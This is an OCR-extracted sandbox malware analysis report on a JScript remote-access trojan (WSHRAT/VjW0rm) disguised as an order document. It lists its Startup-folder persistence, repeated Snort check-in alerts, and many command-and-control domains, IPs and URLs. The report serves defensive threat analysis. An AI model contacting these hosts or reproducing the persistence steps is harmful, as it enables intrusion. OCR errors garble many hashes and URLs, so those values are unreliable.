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Windows Analysis Report

Order Requirement 2022.js

Overview

General Information Detection

Sample Order Requirement
Name: 2022.js MALICI

Analysis ID: 715072

MD5: ©873a424159d25. System process connects to networ...
SR 7dfcc66a951001... Sigma detected: Register Wscript In...
SHAZS6: 0d5a587f0ct deff.. JScript performs obfuscated calls to...
Tege Yara detected VjW0Orm

Infos: B oyt & man

B9 W

Classification

Yara detected WSHRAT

Detected WSHRat

Antivirus detection for URL or domain

. Multi AV Scanner detection for dom...
WSHRat, Vj\)WOrm
100

Al
o
=
U
~+
c
=
1]
wn

-] Sigma detected: Drops script at sta...
2 Score:

a Range: 0-100 Sigma detected: VjW0rm

: Whitelisted: false Snort IDS alert for network traffic

a Confidence: 100%

Wscript called in batch mode (surpre...

Process Tree

System is w10x64
i> wscript.exe (PID: 672 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Order Requirement 2022.js" MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 748 cmdline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\CeklalTska.js MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 2332 cmdline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 6100 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\CeklalTska.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
i> wscript.exe (PID: 1248 cmdline: C:\Windows\system32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)

. i> wscript.exe (PID: 2804 cmdline: C:\Windows\System32\wscript.exe" /B "C:\Users\user\AppData\Roaming\CeklalTska.js MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
i> wscript.exe (PID: 5412 cmdline: C:\Windows\system32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
i> wscript.exe (PID: 1876 cmdline: C:\Windows\system32\wscript.exe" /B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
i> wscript.exe (PID: 3232 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CeklalTska.js" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
i> wscript.exe (PID: 5292 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Order Requirement 2
022.js" MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)

. i> wscript.exe (PID: 2772 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\CeklalTska.js MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)

. i> wscript.exe (PID: 1956 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\Order Requirement 2022.js MD5:

9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 5776 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\CeklalTska.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
cleanup

Malware Configuration

@ No configs have been found
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Yara Signatures

PCAP (Network Traffic)
Source Rule Description Author Strings
dump.pcap JoeSecurity WSH  Yara detected Joe Security

RAT WSHRAT
Memory Dumps
Source Rule Description Author Strings
0000000E.00000002.845740262.000001E45640E000.00000  JoeSecurity VjWOr Yara detected Joe Security
004.00000020.00020000.00000000.sdmp m VjWorm
0000000E.00000003.546167949.000001E45640E000.00000  JoeSecurity VjWOr Yara detected Joe Security
004.00000020.00020000.00000000.sdmp m VjWOrm
00000002.00000003.346293587.0000025291B28000.00000  JoeSecurity WSH  Yara detected Joe Security
004.00000020.00020000.00000000.sdmp RAT WSHRAT
00000001.00000002.847480480.00000228B28AE000.00000  JoeSecurity VjWO0r Yara detected Joe Security
004.00000020.00020000.00000000.sdmp m VjW0rm
0000000D.00000002.894056339.000001B9F4488000.00000  JoeSecurity WSH  Yara detected Joe Security
004.00000020.00020000.00000000.sdmp RAT WSHRAT

Click to see the 93 entries

Sigma Signatures

Data Obfuscation mi.
Sigma detected: Drops script at startup location

Persistence and Installation Behavior mi.

Sigma detected: Register Wscript In Run Key

Sigma detected: VjW0Orm

Snort Signatures

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138 -—
Timestamp: 192.168.2.5109.248.150.1384973320222017516 10/03/22-15:58:08.503396

SID: 2017516

Source Port: 49733

Destination Port: 2022

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138 -—
Timestamp: 192.168.2.5109.248.150.1384980020222017516 10/03/22-16:00:06.684129

SID: 2017516

Source Port: 49800

Destination Port: 2022

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138 -—
Timestamp: 192.168.2.5109.248.150.1384978220222017516 10/03/22-15:59:34.417510

SID: 2017516

Source Port: 49782

Destination Port: 2022
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Protocol:

Classtype:

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384979620222017516 10/03/22-16:00:01.475367
2017516

49796

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384974320222017516 10/03/22-15:58:25.510035
2017516

49743

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384974920222017516 10/03/22-15:58:35.892450
2017516

49749

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384973720222017516 10/03/22-15:58:13.983128
2017516

49737

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384979220222017516 10/03/22-15:59:50.918382
2017516

49792

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384980620222017516 10/03/22-16:00:17.051647
2017516

49806

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384973220222017516 10/03/22-15:58:03.289656
2017516

49732

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138
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Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384979520222017516 10/03/22-15:59:56.411392
2017516

49795

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384976220222017516 10/03/22-15:58:56.662534
2017516

49762

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384972620222017516 10/03/22-15:57:51.886582
2017516

49726

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384980320222017516 10/03/22-16:00:11.895919
2017516

49803

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384978920222017516 10/03/22-15:59:45.746117
2017516

49789

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384975220222017516 10/03/22-15:58:41.269693
2017516

49752

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384977920222017516 10/03/22-15:59:29.278633
2017516

49779

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:
Source Port:

Destination Port:

Copyright Joe Security LLC 2022
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2022
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Protocol:

Classtype:

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384977420222017516 10/03/22-15:59:18.917860
2017516

49774

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384972820222017516 10/03/22-15:57:57.222154
2017516

49728

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384975820222017516 10/03/22-15:58:51.515086
2017516

49758

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384976420222017516 10/03/22-15:59:03.007718
2017516

49764

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384974720222017516 10/03/22-15:58:30.696047
2017516

49747

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384976720222017516 10/03/22-15:59:08.214794
2017516

49767

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138

Timestamp:
SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5109.248.150.1384977020222017516 10/03/22-15:59:13.447659
2017516

49770

2022

TCP

A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138
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Timestamp: 192.168.2.5109.248.150.1384975420222017516 10/03/22-15:58:46.360659

SID: 2017516

Source Port: 49754

Destination Port: 2022

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138 —
Timestamp: 192.168.2.5109.248.150.1384974020222017516 10/03/22-15:58:19.149330

SID: 2017516

Source Port: 49740

Destination Port: 2022

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1 - Source IP: 192.168.2.5 - Destination IP: 109.248.150.138 -—
Timestamp: 192.168.2.5109.248.150.1384977720222017516 10/03/22-15:59:24.067780

SID: 2017516

Source Port: 49777

Destination Port: 2022

Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Networking

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

Uses dynamic DNS services

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected WSHRAT

System Summary

Wscript called in batch mode (surpress errors)

Data Obfuscation

Potential malicious VBS/JS script found (suspicious encoded strings)

JScript performs obfuscated calls to suspicious functions
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Boot Survival

Drops script or batch files to the startup folder

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code r exploit)

Stealing of Sensitive Information

Yara detected WSHRAT

Yara detected VjWO0rm

Remote Access Functionality

1 NN

Yara detected WSHRAT

Detected WSHRat

Yara detected VjWOrm

Mitre Att&ck Matrix
Initial . . Privilege  Defense Credential _. Lateral . . . Command Network Rem?te
Execution Persistence g . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid (2] 1] 0os Remote Data from  Exfiltration Eavesdrop Remotely  Modify
Accounts Windows Registry Process Masqueradi Credential = Security Services Local Over Other Non- on Insecure Track System
Manageme Run Keys/ Injection ng Dumping Software System Network Standard Network Device Partition
nt Startup Discovery Medium Port Communic  Without
Instrument  Folder ation Authorizati
ation on
Default Boot or LSASS Remote Data from  Exfiltration Exploit SS7 Remotely  Device
Accounts  Scripting Logon Registry Process Memory Remote Desktop Removable Over Remote to Redirect Wipe Data  Lockout
Initializatio  Run Keys / Injection System Protocol Media Bluetooth Access Phone Without
n Scripts Startup Discovery Software Calls/SMS  Authorizati
Folder on
Domain At (Linux)  Logon Logon Security SMB/Wind  Data from  Automated Exploit SS7 Obtain Delete
Accounts Script Script Scripting Account File and ows Admin  Network Exfiltration  Non- to Track Device Device
(Windows)  (Windows) Manager Directory Shares Shared Application  Device Cloud Data
Discovery Drive Layer Location Backups
Protocol
Local At Logon Logon NTDS Distributed  Input Scheduled SIM Card Carrier
Accounts (Windows)  Script Script Obfuscated System Component Capture Transfer Application  Swap Billing
(Mac) (Mac) Files or Information = Object Layer Fraud
Information Discovery  Model Protocol

Behavior Graph
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Legend:

Process
Signature
Created File
DNS/IP Info
™1 |s Dropped

Is Windows Process

Number of created Registry Values

L L]
L L]
e

Number of created Files

Y

Visual Basic

zz
3

ms
35
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

i

AN QEW
Q@ 2 )

C, C++ or other language

Is malicious

Internet

Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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HH 0 Type here to search i}

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
Order Requirement 2022.js 7% ReversingLabs Script.Trojan.Heuri

stic
Order Requirement 2022.js 7% Virustotal Browse

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

Source Detection Scanner Label Link
jbd231.duckdns.org 14% Virustotal Browse
javaautorun.duia.ro 12% Virustotal Browse
URLs
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https://www.virustotal.com/gui/file/0d5a587f0c1dcff512f6112ee48859608db08307aa39887cc71480998d7070d4/detection/f-0d5a587f0c1dcff512f6112ee48859608db08307aa39887cc71480998d7070d4-1664801459
https://www.virustotal.com/gui/url/a6b9e473b265101e5f6d92ef7b20db61fbfd303e9fa7401ea87c34ae67e02f01/detection/u-a6b9e473b265101e5f6d92ef7b20db61fbfd303e9fa7401ea87c34ae67e02f01-1664305353
https://www.virustotal.com/gui/url/1671f610cadbe161c725159fd5303c3ee7dc489164036205019e1f47c1c74b9c/detection/u-1671f610cadbe161c725159fd5303c3ee7dc489164036205019e1f47c1c74b9c-1664714823

Source Detection Scanner Label Link

http://jod231.duckdns.org:2022/is-ready32 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readyT 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-ready| 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readyK 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/VreM3:.0 100% Avira URL Cloud ~ malware
http://jod231.duckdns.org:2022/is-readyL 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/Vrew 100% Avira URL Cloud malware
http://jod231.duckdns.org:2022/is-ready XFwuXFxyb290XFxjaW12MilpOwOKdmFy 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readyG 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-ready_ 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readys.org:2022/is-ready 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/VrecnkgewOKhN 100% Avira URL Cloud malware
http://javaautorun.duia.r0:5465/Vre63209-4053062332-100 100% Avira URL Cloud ~ malware
http://javaautorun.duia.ro:5465/Vre 100% Avira URL Cloud ~ malware
http://javaautorun.duia.ro:5465/Vre.duia.ro:5465/Vre 100% Avira URL Cloud ~ malware
http://javaautorun.duia.ro:5465/Vre YWNIKCII 100% Avira URL Cloud ~ malware
http://jod231.duckdns.org:2022/is-ready3 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/Vred 100% Avira URL Cloud ~ malware
http://jod231.duckdns.org:2022/is-ready- 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-ready. 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/VrecnkgewOK 100% Avira URL Cloud malware
http://javaautorun.duia.ro:5465/Vrero6 100% Avira URL Cloud ~ malware
http://jod231.duckdns.org/O? 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/VreMC 100% Avira URL Cloud ~ malware
http://javaautorun.duia.ro:5465/ 100% Avira URL Cloud ~ malware
http://javaautorun.duia.ro:5465/Vreoh_AE 100% Avira URL Cloud malware
http://jod231.duckdns.org:2022/is-ready& 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/VreY 100% Avira URL Cloud ~ malware
http://javaautorun.duia.ro:5465/Vresofdowches 100% Avira URL Cloud ~ malware
http://javaautorun.duia.ro:5465/Vrer 100% Avira URL Cloud ~ malware
http://jod231.duckdns.org:2022/is-ready#X5 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readyD 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/Vreo 100% Avira URL Cloud malware
http://javaautorun.duia.ro:5465/VreConnectionKeep-Alive 100% Avira URL Cloud malware
http://jod231.duckdns.org:2022/is-ready? 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/VredmFylGZyhN 100% Avira URL Cloud malware
http://jod231.duckdns.org:2022/is-readyd8 0% Avira URL Cloud safe
http://jod231.duckdns.org:20ecuritycenter2= 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/Vrej 100% Avira URL Cloud malware
http://javaautorun.duia.ro:5465/ZpbGU 100% Avira URL Cloud malware
http://jod231.duckdns.org:2022/is-readyady 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/Vrel 100% Avira URL Cloud malware
http:/fjavaautorun.duia.ro:5465/Vre$K 100% Avira URL Cloud malware
http://jod231.duckdns.org:2022/is-readyh8 0% Avira URL Cloud safe
http://javaautorun.duia.ro:5465/Vref 100% Avira URL Cloud malware
http://jod231.duckdns.org:2022/is-readys.org:2022/is-readypData 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readyckdns.org:2022/is-ready 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readyspecified 0% Avira URL Cloud safe
http:/fjavaautorun.duia.ro:5465/Vreh 100% Avira URL Cloud ~ malware
http://jbd231.duckdns.org:2022/is-readyEM 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-readyadyEM 0% Avira URL Cloud safe
http://jod231.duckdns.org/ 0% Avira URL Cloud safe
http://jod231.duckdns.org:2022/is-ready 0% Avira URL Cloud safe
http:/fjavaautorun.duia.ro:5465/Vre: 100% Avira URL Cloud ~ malware
http:/fjavaautorun.duia.ro:5465/VreMe 100% Avira URL Cloud ~ malware
http://jod231.duckdns.org:2022/is-readym32 0% Avira URL Cloud safe
http:/fjavaautorun.duia.ro:5465/VreZXNwb25z 100% Avira URL Cloud ~ malware
http:/fjavaautorun.duia.ro:5465/VreZXNwb25zf/ 100% Avira URL Cloud ~ malware
http:/fjavaautorun.duia.ro:5465/VreS 100% Avira URL Cloud ~ malware
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Source
hitp://jbd231.duckdns.org:2022/is-readysL8
hitp://jbd231.duckdns.org/1
http://javaautorun.duia.ro:5465/VreN
hitp://jbd231.duckdns.org/ilter-0000
hitp://jbd231.duckdns.org/on
hitp://jbd231.duckdns.org:2022/is-readyas
http://javaautorun.duia.ro:5465/VreM
http:/fjavaautorun.duia.ro:5465/VredmFylGZy
hitp://jbd231.duckdns.org:2022/is-readyAN
http://javaautorun.duia.ro:5465/Vre#
hitp://jbd231.duckdns.org:2022/is-readyed.
http://javaautorun.duia.ro:5465/Vre1_
http://javaautorun.duia.ro:5465/Vres);
hitp://jbd231.duckdns.org:2022/is-readye
http://javaautorun.duia.ro:5465/Vre.
http://javaautorun.duia.ro:5465/Vreoi
http://javaautorun.duia.ro:5465/Vre0
http://javaautorun.duia.ro:5465/VrehN
http://javaautorun.duia.ro:5465/Vreor
http://jbd231.duckdns.org:2022/is-readyady.

Domains and IPs

Contacted Domains
Name

jbd231.duckdns.org

javaautorun.duia.ro

Contacted URLs

Name

http://jod231.duckdns.org:2022/is-ready
URLs from Memory and Binaries
Name
hitp://javaautorun.duia.ro:5465/VreM3:.0

hitp://jbd231.duckdns.org:2022/is-ready T

hitp://jbd231.duckdns.org:2022/is-readyl|

http:/fjbd231.duckdns.org:2022/is-ready32
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109.248.144.237 true true
154.120.126.87 true true

Detection Scanner Label
0% Avira URL Cloud safe

0% Avira URL Cloud safe
100% Avira URL Cloud malware
0% Avira URL Cloud safe

0% Avira URL Cloud safe

0% Avira URL Cloud safe
100% Avira URL Cloud malware
100% Avira URL Cloud malware
0% Avira URL Cloud safe
100% Avira URL Cloud malware
0% Avira URL Cloud safe
100% Avira URL Cloud malware
100% Avira URL Cloud malware
0% Avira URL Cloud safe
100% Avira URL Cloud malware
100% Avira URL Cloud malware
100% Avira URL Cloud malware
100% Avira URL Cloud malware
100% Avira URL Cloud malware
0% Avira URL Cloud  safe

Active Malicious Antivirus Detection

« 14%, Virustotal, Browse

« 12%, Virustotal, Browse

Malicious Antivirus Detection

true « Avira URL Cloud: safe
Source Malicious  Antivirus Detection
wscript.exe, 0000000C.00000002.854455926 true « Avira URL Cloud: malware
.000001531A0E6000.00000004.00000020.0002
0000.00000000.sdmp
wscript.exe, 00000002.00000002.893454601 true « Avira URL Cloud: safe
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp
wscript.exe, 0000000D.00000002.893254770 true « Avira URL Cloud: safe

.000001B9F4429000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000002.890666886.000001B9F43C4000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525194748
.000001B9F4426000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000D.00000003.525815657 true « Avira URL Cloud: safe
.000001B9F4459000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.525373780.000001B9F444C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525509334
.000001B9F4453000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
D.00000003.524400656.000001B9F443D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000D.00000003.525031245
.000001B9F4445000.00000004.00000020.0002
0000.00000000.sdmp

Link

Reputation
unknown

unknown

Reputation

unknown

Reputation

unknown

unknown

unknown

unknown
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https://www.virustotal.com/gui/url/a6b9e473b265101e5f6d92ef7b20db61fbfd303e9fa7401ea87c34ae67e02f01/detection/u-a6b9e473b265101e5f6d92ef7b20db61fbfd303e9fa7401ea87c34ae67e02f01-1664305353
https://www.virustotal.com/gui/url/1671f610cadbe161c725159fd5303c3ee7dc489164036205019e1f47c1c74b9c/detection/u-1671f610cadbe161c725159fd5303c3ee7dc489164036205019e1f47c1c74b9c-1664714823

Name

hitp://jbd231.duckdns.org:2022/is-readyK

http://jod231.duckdns.org:2022/is-readyL

hitp:/fjavaautorun.duia.ro:5465/Vrew

http://javaautorun.duia.ro:5465/Vre63209-
4053062332-100

hitp://jbd231.duckdns.org:2022/is-readyG

http://jod231.duckdns.org:2022/is-

readyXFwuXFxyb290XFxjaW12MilpOwOKdmFy

hitp://jbd231.duckdns.org:2022/is-ready

http://jod231.duckdns.org:2022/is-readys.org:2022/is-

ready

hitp:/fjavaautorun.duia.ro:5465/Vre

http://javaautorun.duia.ro:5465/Vre.duia.ro:5465/Vre

hitp:/fjavaautorun.duia.ro:5465/VrecnkgewOKhN

http://javaautorun.duia.ro:5465/VreYWNIKCII

hitp://jbd231.duckdns.org:2022/is-ready3

http://javaautorun.duia.ro:5465/Vred

http://jbd231.duckdns.org:2022/is-ready-

http://jod231.duckdns.org:2022/is-ready.
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Source

wscript.exe, 00000002.00000002.889666132
.0000025291B7B000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000003.401571383
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000006.00000002.875779129
.0000026E2AEF0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000006.00000002.848811043
.0000026E2ADF0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
E.00000002.847586711.000001E4568C0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000002.00000003.400937487
.0000025291B6D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.401267934.0000025291B77000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000002.00000003.401644606
.0000025291B83000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000003.400937487
.0000025291B6D000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.401267934.0000025291B77000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 0000000D.00000002.882599346
.000001B9F3D50000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000002.00000002.893454601
.0000025291BD5000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.400937487.0000025291B6D000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000002.00000003.401267934
.0000025291B77000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000003.401644606.0000025291B83000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 0000000E.00000002.891459957
.000001E456AA0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000004.00000002.882445640
.0000020016851000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000E.00000002.891459957
.000001E456AA0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.847538264
.00000228B2A80000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
4.00000002.842409404.0000020016230000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000002.846562471
.0000026E2A810000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
8.00000002.827729174.0000029D80190000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000002.00000002.889666132
